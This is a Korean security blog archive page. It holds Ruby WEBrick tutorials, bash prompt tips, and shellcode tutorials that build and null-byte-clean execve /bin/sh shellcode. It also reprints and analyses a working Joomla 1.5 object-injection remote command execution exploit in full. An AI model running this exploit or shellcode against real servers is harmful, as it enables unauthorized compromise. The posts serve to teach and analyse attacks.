12/28/2015

[RUBY] WEBrick::mount_proc 메소드를 이용한 WEBrick 서버 내 Ruby 처리부분 만들기

WEBRick 클래스의 mount_proc 메소드를 사용하면 단순 웹 디렉토리 링크가 아닌 직접 웹접근 시 서버단에서 제어를 할 수 있게 됩니다. Servlet 같은 형태로 사용이 가능하지요.

루비독(ruby-doc.org)에서는 아래와 같이 정의되어 있습니다.

mount_proc(dir, proc=nil, &block) click to toggle source
Mounts proc or block on dir and calls it with a WEBrick::HTTPRequest and WEBrick::HTTPResponse

     # File webrick/httpserver.rb, line 158
def mount_proc(dir, proc=nil, &block)
  proc ||= block
  raise HTTPServerError, "must pass a proc or block" unless proc
  mount(dir, HTTPServlet::ProcHandler.new(proc))
end
            
우리가 mount_proc를 사용하면서 먼저 알아야할 점은 req 와 res 입니다.

req: request(헤더부터 데이터 부분까지 모두)
res: response(헤더부터 데이터 부분까지 모두)

두개로 나누어서 볼 수 있고, 해당 부분을 이용하여 클라이언트로부터 넘어온 Parameter 값을 사용하거나 Response 시 Type 등을 지정할 수 있습니다.

server.mount_proc '/add' do |req,res|   
                res['Content-Type'] = "text/html"  #Content-Type 지정
                res.body=wscan_list().to_s   #함수를 이용한 처리
                res.body=res.body+"<br><input type='text'>"  #HTML 처리
                end
위 코드를 간단히 보자면 server라는 WEBrick 객체에서 mount_proc를 이용하여 /add 페이지로 접근 시 동작하도록 설정한 내용입니다.

res['Content-Type'] = "text/html" 이 부분을 보면 res 내 Content-Type 영역에 "text/html" 데이터를 넣어주어 해당 페이지가 html 으로써 읽어질 수 있도록 설정하였습니다. (이 부분이 없으면 그냥 text만 노출됩니다. html tag 실행 불가)

res.body 값에 넘겨줄 response 데이터를 넣어주어 사용자로 하여금 일반 웹 서버에 접근한 것과 동일한 효과를 낼 수 있습니다. 이러면 WEBrick::mount 와 WEBrick::mount_proc 와 어떤 차이가 있을까 생각되겠죠.

mount_proc는 ruby로 짜여진 기능 부분을 넣기 좋은 것 같습니다. 제 코드에서는 wscan_list()
[개인적으로 쓰고있는 VunLink 의 Scan list 기능을 웹 행태로 나타나기 위해서 만든 함수] 함수를 사용해서 텍스트를 얻어와 웹에서 뿌려주는 형태로 동작할 수 있습니다.

Full Code

server = WEBrick::HTTPServer.new({:BindAddress => '127.0.0.1',
                                  :Port => '6644'})
server.mount_proc '/add' do |req,res|   
                res['Content-Type'] = "text/html"  #Content-Type 지정
                res.body=wscan_list().to_s   #함수를 이용한 처리
                res.body=res.body+"<br><input type='text'>"  #HTML 처리
                end
trap(:INT){server.shutdown}
server.start

Reference

http://ruby-doc.org/stdlib-1.9.3/libdoc/webrick/rdoc/WEBrick/HTTPServer.html#method-i-mount_proc
Share: | Coffee Me:

12/25/2015

[RUBY] WEBrick을 이용한 간단 Ruby 웹 서버 만들기(Writing Web Server Code whit Ruby WEBrick)

예전에 Ruby on Rails를 다루면서 알게된 webrick 웹서버 모듈입니다.
이 모듈은 쉬운 방법으로 웹 서버를 구성할 수 있도록 지원하는 좋은 모듈이지요.

gem을 통해 쉽게 설치가 가능합니다.
# gem install webrick

require로 해당 모듈을 불러온 후 WEBrick 하단 메소드를 이용하여 웹서버를 구성할 수 있습니다.
일단 httpt서버 기준으로 HTTPServer를 이용하여 구성이 가능합니다.

WEBrick::HTTPServer의 new 메소드를 통해 Bind할 Address와 Port 등을 지정한 후 웹 서버를 생성합니다.

server = WEBrick::HTTPServer.new({:BindAddress => '127.0.0.1',
                                  :Port => 4040})
그리고 생성된 서버 객체에 mount 메소드를 통해 각각 페이지와 연동될 디렉토리 or 행위를 매핑해줍니다.

server.mount('/', WEBrick::HTTPServlet::FileHandler, Dir.pwd+"/Public_html",
                    {:FancyIndexing => true})
위 방법으로는 "/" 접근 시 FileHandler를 통해 Dir.pwd(현재 실행 디렉토리) 하단 Public_html 폴더로 넘어가도록 설정하는 코드입니다.

파일로 매핑하지 않고 직접 코드를 작성하는 방법도 있습니다.

server.mount_proc '/' do |req, res|
  res.body = 'Hello, world!'
end
이외에도 쉽게 Proxy, Vm환경 등 여려가지 웹 환경을 구성할 수 있습니다.
자세한 내용은 ruby-doc 참고햐시면 도움될 것 같습니다.

http://ruby-doc.org/stdlib-2.0.0/libdoc/webrick/rdoc/


require 'webrick'

server = WEBrick::HTTPServer.new({:BindAddress => '127.0.0.1',
                                  :Port => 4040})
server.mount('/', WEBrick::HTTPServlet::FileHandler, Dir.pwd,
                    {:FancyIndexing => true})
server.mount_proc '/test' do |req, res|
  res.body = 'CODEBLACK / TEST'
end
trap(:INT){server.shutdown}
server.start

Reference

http://d.hatena.ne.jp/lemniscus/20090722/1248261257
http://tobyho.com/2009/09/16/http-server-in-5-lines-with/
http://ruby-doc.org/stdlib-2.0.0/libdoc/webrick/rdoc/
Share: | Coffee Me:

12/23/2015

[SYSTEM HACKING] ShellNoob를 이용한 Shellcode 작성 및 활용 (Writing Shell Code with ShellNoob || Install and Using ShellNoob)

shellcode 를 만드는 일은 재미있지만, 생각보다 시간도 투자되고 약간 귀찮은 부분도 존재합니다. 그러한 과정을 조금 줄여줄 수 있는 좋은 툴이 있어 작성하였습니다.

Shellnoob라는 이 툴은 Shellcode를 위한 툴 입니다.
Assembly 코드를 쉘코드로 변환하거나 ShellCode 제작에 있어 굉장히 도움되는 기능을 담고 있는 툴이죠.

Shellnoob 설치하기(Install ShellNoob)

ShellNoob(이하 snoob)는 github를 통해 배포되며, Clone를 이용해 쉽게 설치할 수 있습니다.

# git clone https://github.com/reyammer/shellnoob.git
# cd shelnoob
# python shellnoob.py

명령 등록 1 (Add Command)
# ./shellnoob.py --install

or

명령 등록 2 (Add Command)
bashrc 등 shell profile에 정의하기

# vim .bashrc 
..snip..
alias snoob='python [shellnoob dir]/shellnoob.py'

사용하기 쉽게 명령으로 등록한 후 실행하시면 아래와 같이 Usage가 나타납니다.

 HaHwul #> snoob
shellnoob.py [--from-INPUT] (input_file_path | - ) [--to-OUTPUT] [output_file_path | - ]
shellnoob.py -c (prepend a breakpoint (Warning: only few platforms/OS are supported!)
shellnoob.py --64 (64 bits mode, default: 32 bits)
shellnoob.py --intel (intel syntax mode, default: att)
shellnoob.py -q (quite mode)
shellnoob.py -v (or -vv, -vvv)
shellnoob.py --to-strace (compiles it & run strace)
shellnoob.py --to-gdb (compiles it & run gdb & set breakpoint on entrypoint)

Standalone "plugins"
shellnoob.py -i [--to-asm | --to-opcode ] (for interactive mode)
shellnoob.py --get-const <const>
shellnoob.py --get-sysnum <sysnum>
shellnoob.py --get-strerror <errno>
shellnoob.py --file-patch <exe_fp> <file_offset> <data> (in hex). (Warning: tested only on x86/x86_64)
shellnoob.py --vm-patch <exe_fp> <vm_address> <data> (in hex). (Warning: tested only on x86/x86_64)
shellnoob.py --fork-nopper <exe_fp> (this nops out the calls to fork(). Warning: tested only on x86/x86_64)

"Installation"
shellnoob.py --install [--force] (this just copies the script in a convinient position)
shellnoob.py --uninstall [--force]

Supported INPUT format: asm, obj, bin, hex, c, shellstorm
Supported OUTPUT format: asm, obj, exe, bin, hex, c, completec, python, bash, ruby, pretty, safeasm
All combinations from INPUT to OUTPUT are supported!

Check out the README file for more info.

ShellNoob를 이용한 Shell code <-> Assembly Code 변환

shellnoob.py [--from-INPUT] (input_file_path | - ) [--to-OUTPUT] [output_file_path | - ]

매우 간단합니다. 옵션 중 --from- 으로 입력 데이터의 형식을 정해줍니다.
예시로 --from-asm 이렇게 옵션을 주면 assembly 형태의 데이터를 입력으로 받습니다.

--to- 로는 결과 포맷을 지정해 줄 수 있습니다.
--to-c, --to-bin  등 이 또한 간단하게 수행할 수 있습니다.

snoob에서 포함된 sample 코드로 테스트를 해볼까합니다.

 HaHwul #> cat exec-shell.asm 

.section .text
 xor    %eax,%eax
 push   %eax
 push   $0x68732f2f
 push   $0x6e69622f
 mov    %esp,%ebx
 push   %eax
 push   %ebx
 mov    %esp,%ecx
 mov    $0xb,%al
 int    $0x80

   ┎ [ 11:28:59 : root ] [ /test ] 
 HaHwul #> ls
exec-shell.asm

입력은 asm, out 은 bin으로 하였을 시 exec-shell.bin 파일이 생성됩니다.

   ┎ [ 11:29:00 : root ] [ /test ] 
 HaHwul #> snoob --from-asm exec-shell.asm --to-bin 
Converting /test/exec-shell.asm (asm) into /test/exec-shell.bin (bin)

읽어서보면 쉘코드 데이터가 그대로 써진것을 확인할 수 있습니다.

   ┎ [ 11:29:10 : root ] [ /test ] 
 HaHwul #> cat exec-shell.bin 
1�Ph//shh/bin��PS���

ouput 포맷을 좀 바꿔서 c로 나타내면, buffer에 shellcode를 저장한 형태로 파일이 생성됩니다.

   ┎ [ 11:34:05 : root ] [ /test ] 
 HaHwul #> snoob --from-asm exec-shell.asm --to-c

# exec_shell.c

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
edb 업로드나, 잠깐의 테스트를 위해선 빠르게 결과물을 얻어낼 수 있지요.


ShellNoob 보조기능


--get-sysnum 옵션을 통해 시스템 콜 넘버를 조회할 수 있습니다.
예시로 자주 사용되는 execve에 대해 보면 아래와 같이 32bit, 64bit 모두 확인할 수 있습니다.

 HaHwul #> snoob --get-sysnum execve
x86_64 ~> 59
i386 ~> 11

비슷한 기능으로 에러 Number에 대해서 역으로 조회가 가능합니다.
예를들어 20번으로 조회를 하였을 때 Not a directory 라는 메시지를 얻어낼 수 있습니다.

 HaHwul #> snoob --get-errno 20
20 ~> Not a directory

또한 Interactive mode 및 --to-gdb, --to-strace를 통한 디버깅 모드 등 여러가지 기능을 수행할 수 있습니다.

ShellNoob 지원 Formats

"asm" - standard assembly. ATT syntax by default, use --intel to use Intel syntax. (see "asm as output" section for more details)
(asm - Assembly 포맷 / 기본적으로 ATT를 따라가며 옵션으로 Intel 지정 가능)
"bin" - raw binary ('\x41\x42\x43\x44')
(bin - Binary 형태로 생성)
"hex" - raw binary encoded in hex ('41424344')
(hex - Hex 형태로 생성)
"obj" - an ELF
(obj - ELF/ .o 파일로 생성)
"exe" - an executable ELF
(exe - ELF/ 실행 가능한 바이너리 생성)
"c" - something ready to embed in a C program.
(c - c언어 형태 로 생성하며 내부 변수에 shellcode가 삽입되어 나타남)
"python", "bash", "ruby" - same here.
(다른 언어 포맷으로도 지원함)
"completec" - compilable C that properly set the memory as RWX (to support self-modifying shellcodes)
"safeasm" - assembly that is 100% assemblable: sometimes objdump's output, from which the "asm" is taken, is not assemblable. This will output the "raw" bytes (in .byte notation) so that it's assemblable by "as".
"shellstorm" - The --from-shellstorm switch takes as argument a . ShellNoob will grab the selected shellcode from the shell-storm shellcode DB, and it will convert it to the selected format.

Reference 

https://github.com/reyammer/shellnoob/
Share: | Coffee Me:

12/19/2015

[SYSTEM HACKING] 64bit Linux Execve Shell Code 만들기(64bit Execve ShellCode & Remove Null Byte)

오늘은 64비트 쉘코드에 대한 이야기를 할까 합니다.
예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만
지금은.. 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다.
(써도..그냥 만들어진거 쓰는게 속이 편해요 ㅎㅎㅎㅎㅎㅎㅎ)

일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.

C를 기반으로 /bin/sh 실행 코드 작성하기(with Execve)

어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다.
어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로
하는게 속은 편하지요.

##shell.c

#include <stdlib.h>

int main()
{
    execve("/bin/sh",NULL,NULL);
}
매우 간단합니다. 그냥 execve 함수를 통해 /bin/sh를 실행하라고 하는 코드입니다.

Disassembling 하여 Assembly Code 확인하기


해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040050c <+0>:    push   %rbp
   0x000000000040050d <+1>:    mov    %rsp,%rbp
   0x0000000000400510 <+4>:    mov    $0x0,%edx
   0x0000000000400515 <+9>:    mov    $0x0,%esi
   0x000000000040051a <+14>:    mov    $0x4005dc,%edi
   0x000000000040051f <+19>:    callq  0x4003f0 <execve@plt>
   0x0000000000400524 <+24>:    pop    %rbp
   0x0000000000400525 <+25>:    retq 
End of assembler dump.


   0x000000000040050c <+0>:    push   %rbp
   0x000000000040050d <+1>:    mov    %rsp,%rbp
이 부분은 함수 프롤로그(시작) 부분과 같고,

   0x0000000000400510 <+4>:    mov    $0x0,%edx
   0x0000000000400515 <+9>:    mov    $0x0,%esi
   0x000000000040051a <+14>:    mov    $0x4005dc,%edi
이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.

edx, esi에 0x0(NULL)으로 값을 세팅하고
edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면
"/bin/sh"인 것을 알 수 있습니다.

(gdb) x/s 0x4005dc
0x4005dc:     "/bin/sh"

그리고 세팅된 인자값을 가지고 execve를 call합니다.
   0x000000000040051f <+19>:    callq  0x4003f0 <execve@plt>

execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다.
(이부분은 체크리스트 참고하시면 도움될듯해요)
[링크 추가]

여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.

mov    $0x0,%edx
mov    $0x0,%esi
mov    $0x4005dc,%edi
mov    $59, $rax
syscall

이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다.
이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.

Assembly Code 작성하기

아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.

## shell.s

.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq $0     ;
pushq name   ; 

movq $59, %rax ; 
movq %rsp, %rdi ; 
movq $0, %rsi
movq $0, %rdx ;
syscall 

여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고
.section .data

name: .string "/bin/sh"

rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후

movq $59, %rax ;
movq %rsp, %rdi ;
movq $0, %rsi
movq $0, %rdx ;
syscall

syscall을 이용하여 명령을 실행합니다.

#> as -o shell.o shell.s
#> ld -o shell shell.o

실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.

 HaHwul #> ./shell
# echo "This is /bin/sh"
This is /bin/sh
#

일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아
문제없이 잘 작성한 것으로 보이네요.

Objdump를 이용하여 기계어 확인하기

분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다.
-d 옵션으로 볼 수 있지요 :)

 HaHwul #> objdump shell -d

shell:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    6a 00                    pushq  $0x0
  4000b2:    ff 34 25 d4 00 60 00     pushq  0x6000d4
  4000b9:    48 c7 c0 3b 00 00 00     mov    $0x3b,%rax
  4000c0:    48 89 e7                 mov    %rsp,%rdi
  4000c3:    48 c7 c6 00 00 00 00     mov    $0x0,%rsi
  4000ca:    48 c7 c2 00 00 00 00     mov    $0x0,%rdx
  4000d1:    0f 05                    syscall



일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만..
strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다.
그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)에 대한 제거가 필요합니다.

Null Byte 제거하기(Remove NullByte)

여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다.
HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell


.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name   
movq $59, %rax 
mov %rsp, %rdi 
movq $0, %rsi
movq $0, %rdx 
syscall

일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다.
일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문에..

rax에 system call number를 넘겨주고, 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다.
(주석 처리로 일단 제거처리)

 HaHwul #> cat shell.s
.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name  
movq $59, %rax
mov %rsp, %rdi
#movq $0, %rsi
#movq $0, %rdx
syscall

 HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell

shell:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    ff 34 25 c4 00 60 00     pushq  0x6000c4
  4000b7:    48 c7 c0 3b 00 00 00     mov    $0x3b,%rax
  4000be:    48 89 e7                 mov    %rsp,%rdi
  4000c1:    0f 05                    syscall

   ┎ [ 02:49:24 : root ] [ /home/hahwul/test/diet ]
 HaHwul #> ./shell
# exit

코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다.

이제 Null byte의 의치를 보면 pushq, 랑 2번째 mov에서 발생을합니다.

32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다.
xor %eax, %eax
movb 0xb, %al

해결을 위해서 여러가지 자료를 찾아봤습니다.
찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.

 HaHwul #> cat shell.s

.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx

# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax 
mov %rsp, %rdi 
shl $0x38, %rax
shr $0x38, %rax
syscall

Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이
shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다.
(이부분은 웹 페이지 참고를 많이 했네요.. 아직도 약간 헷갈리는 ..)
(# http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/ )

아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면

 HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell

shell:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:    48 bb 2f 62 69 6e 2f     movabs $0x1168732f6e69622f,%rbx
  4000b7:    73 68 11
  4000ba:    48 c1 e3 08              shl    $0x8,%rbx
  4000be:    48 c1 eb 08              shr    $0x8,%rbx
  4000c2:    53                       push   %rbx
  4000c3:    48 c7 c0 3b 11 11 11     mov    $0x1111113b,%rax
  4000ca:    48 89 e7                 mov    %rsp,%rdi
  4000cd:    48 c1 e0 38              shl    $0x38,%rax
  4000d1:    48 c1 e8 38              shr    $0x38,%rax
  4000d5:    0f 05                    syscall

Null Byte가 사라진 것을 알 수 있습니다. (처음했을때 완전 기뻤했다죠 ㅎㅎㅎ)
정상 구동이 되는지 테스트를 해보면 /bin/sh가 실행되는 것을 확인할 수 있습니다.

 HaHwul #> ./shell
# ls
shell  shell.o    shell.s

이제 objdump로 보인 데이터를 shell code로 만들 시간이네요.
저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.

길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x로 바꿔주면 편합니다.

!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05

! -> \x


\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05



32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다.
궁금하신 점은 댓글주세요. :)

Reference

http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/
http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt

Share: | Coffee Me:

12/18/2015

[DEBIAN] Bash Custom Prompt 긴 문자열 Overwrite(개행불가) 해결 방법(overwrite long command on bash prompt)


Bash 쉘을 커스텀하여 사용하던 중 문제가 하나 발생하여 풀어간 과정을 메모해둡니다.
커스텀 후 긴 명령행 입력 시 입력 구간이 개행되지 않고 Overwrite 되어서 사용하는데 굉장히 불편한 현상이 생겨 관련 자료를 찾아보았고 결국은 간단한 해결 방법으로 수정하였습니다.

.bashrc 중 문제가 발생한 부분입니다.

export PS1="TEST \e[90m[\w\em][\u] #>"

이런 형태로 적용하고 사용 시 아래와 같이 개행이 되지 않는 문제가 발생하였습니다.




찾아보니 이는 /[\]로 시작과 끝 부분을 열고 닫아주어 개행이 될 수 있도록 할 수 있었습니다.
초기에 Custom 시 잘못된 구문이였네요.. 그래서 아래와 같이 해당 부분을 추가해주면..

export PS1="\[TEST \e[90m[\w\em][\u] \]#>"

정상적으로 개행됨을 확인할 수 있습니다.



Reference 

http://superuser.com/questions/246625/bash-command-prompt-overwrites-the-current-line
https://www.linux.com/learn/tutorials/772396-how-to-make-a-fancy-and-useful-bash-prompt-in-linux-
Share: | Coffee Me:

12/17/2015

[EXPLOIT] Joomla 1.5 Object Injection & Remote Command Execution 코드 분석(Code Analysis)

EDB에는 꾸준히 몇개씩 Exploit code, zero day 등이 올라오는데 이번에 약간 파급력이 짙은 취약점이 공개되었습니다.
바빠서 신경을 못쓰고 있다가 확인해보니 많이 사용하는 프레임워크에 영향력까지 높아보여 차근차근 코드를 볼까합니다.



Joomla 1.5 Remote Command Excution Vulnerability

국내에서도 많이 쓰이고 있는 Joomla 서비스에 대한 이 취약점은 매우 간단한 원리로 동작합니다.
User-Agent 값을 코드 내에서 사용하고 사용하는 과정 중 특수문자에 대한 필터링 부족으로 내부 구문 로직을 우회한 후 공격자가 원하는 php 코드를 삽입하여 동작하게 하는 취약점이며 인증이나 별다른 제한 없이 User-Agent를 통해 서버 어디든 동작이 가능하여 파급력이 높습니다.

취약 구간: User-Agent를 통해 입력된 데이터를 사용하는 부분
EDB-ID : 38977(https://www.exploit-db.com/exploits/38977/)

Exploit Code Analysis - 주요 함수 분석(Function Analysis)


해당 Exploit 코드는 아래 3개 함수와 Main 로직 부분으로 구성되어있고, 간단한 코드를 통해 Objection Injection을 수행하고 원격지 시스템에 명령을 수행할 수 있는 취약점입니다.

get_url(url, user_agent):
 + 1번 인자값(url)에 2번 인자값(user_agent) 데이터를 User-Agent 헤더로 넣어 전송하여 Response 확인
 + 단순 get 요청을 위한 함수
php_str_noquotes(data):
 + 입력된 문자열에 대해 인코딩(데이터 포맷 변경)을 하는 함수
generate_payload(php_payload):
 + 실제 공격코드가 들어가는 함수

큰 3개의 함수 중 가장 핵심이 되는 함수는 generate_payload 함수입니다.

살펴보면 아래와 같습니다.

def generate_payload(php_payload): #php_payload 값을 인자값으로 받습니다.

    php_payload = "eval({0})".format(php_str_noquotes(php_payload)) 
    # 인코딩 함수인 php_str_noquotes 적용 후 eval 내 0 부분에 값을 넣어 세팅합니다.
    # output -> eval(php_payload)
  
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
    # exploit code가 작성되는 부분이고, exploit_template에 기존 로직을 변경하는 구문 + Payload 로 구성이 됩니다.   
    # 실제 해당 부분을 읽어 처리하는 함수에서 특수문자에 대한 필터링이 없어 발생한 것으로 보이네요.
    return exploit_template

코드에 주석으로 대충 설명을 쓰긴했습니다만, 다시 살펴보자면 함수 시작 부분에서 입력한 payload를 eval 함수 안으로 넣어
공격에 사용할 php 구문을 만듭니다.

eval(php_paylaod)

이렇게 되고, 여기서  payload 는 php_str_noquotes 함수를 통해 특수문자를 인코딩 시킨 데이터입니다.

이후에 exploit_template에 기존 로직 우회구문('''}__test|O:21:"JDatabaseDriverMysqli":3:{ ~~)이 들어가고
에러가 나지 않도록 함수 밖으로 나온 후 아까 만든 paylod[eval(php_payload)]를 넣어 로직은 변경시킵니다.
이 부분에서 Injection을 통해 Command를 실행하는 부분이 되겠네요.

로직 우회 구문까지 들어간 후 exploit_template 변수를 return 하여 실제 공격에 사용하게 됩니다.

Exploit Code Analysis - Main Logic

위 부분에서 이 Exploit의 대부분의 설명이 들어가 이쪽에선 별다른게 없습니다.

pl = generate_payload("system('touch /tmp/fx');")

print get_url("http://172.31.6.242/", pl)
위와 같이 pl 변수(User-Agent)에 generate_payload 함수를 통해 공격코드를 넣은 후 get_url 함수를 통해
취약 서버로 공격코드를 전송하게 됩니다.

호출순서는 main -> generate_payload -> get_url 함수 순이며 동작하면 아래와 같은 요청이 발생할 것으로 보이네요.
(실제 구동 시 요청을 잡아서 본건 아니라 정확하진 않을 수 있지만 이렇게 나갈것으로 보입니다.)

GET / HTTP/1.1
Host: [TARGET SERVER]
User-Agent: [Exploit Code]  -> 아까 만든 eval() 함수를 포함한 로직 우회 구문



Exploit Code(Full)


'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
  
import requests #  easy_install requests
  
def get_url(url, user_agent):
  
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
    
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
  
    return encoded[:-1]
  
  
def generate_payload(php_payload):
  
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  
    return exploit_template
  
pl = generate_payload("system('touch /tmp/fx');")
  
print get_url("http://172.31.6.242/", pl)

#> python joomla_exploit.py
<Response [200]>



Reference

https://www.exploit-db.com/exploits/38977/
Share: | Coffee Me:

12/16/2015

[DEBIAN] BASH Shell 프롬프트 색상 변경하기(Change The Color Of Bash Prompt Shell)

Bash Shell에 bold 처리 및 setaf를 통해 색상을 적용하는 방법입니다.
메모 차원으로 작성합니다.

PS1="\[$(tput setaf 4)\]$PS1\[$(tput sgr0)\]"
PS1="\[$(tput bold)\]$PS1\[$(tput sgr0)\]"
setaf 이후 숫자가 ANSI Color를 의미하며 컬러 정보는 아래 데이터 참고하시고,
색상 코드를 조합하여 사용할 수 있는데 아래 블로그 주소 보시면 좋을 것 같습니다.

0: Black
1: Red
2: Green
3: Yellow
4: Blue
5: Magenta
6: Cyan
7: White

[http://sunyzero.egloos.com/4282610]

아무튼 위에서 작성한

PS1="\[$(tput setaf 4)\]$PS1\[$(tput sgr0)\]"
PS1="\[$(tput bold)\]$PS1\[$(tput sgr0)\]"
코드를 .bashrc 파일에 적용하면 프롬프트 부분 색상, 글씨 설정 변경이 가능합니다.

추가 Color Set
Blue = 34
Green = 32
Light Green = 1;32
Cyan = 36
Red = 31
Purple = 35
Brown = 33
Yellow = 1;33
white = 1;37
Light Grey = 0;37
Black = 30
Dark Grey= 1;30

Reference

http://sunyzero.egloos.com/4282610
Share: | Coffee Me:

12/15/2015

[SYSTEM HACKING] FlawFinder를 이용한 C/C++ Source Code 취약점 분석(Vulnerability Analysis)

Application 에 대한 취약점 분석은 굉장히 재미있고 흥미롭습니다. 물론 이 과정에는 조금 지루한 면이 많아
대부분 툴의 도움을 참고하여 진행하게 됩니다.

오늘은 BlackBox Test가 아닌 WhiteBox Test 툴인 FlawFinder에 대한 내용으로 이야기를 써갈까 합니다.
소스코드를 직접 분석하는 WhiteBox Test Tool은 BlackBox Test Tool(ex: Vega, Acunetix 등 여러 WVS)에 비해
개체수도 적어보이고 쓸만한걸 찾기도 어렵습니다.

주로 Web Application에서는 RIPS를 사용하곤 했는데, 찾다보니 flawfinder라는 무난한 툴을 찾았지요.
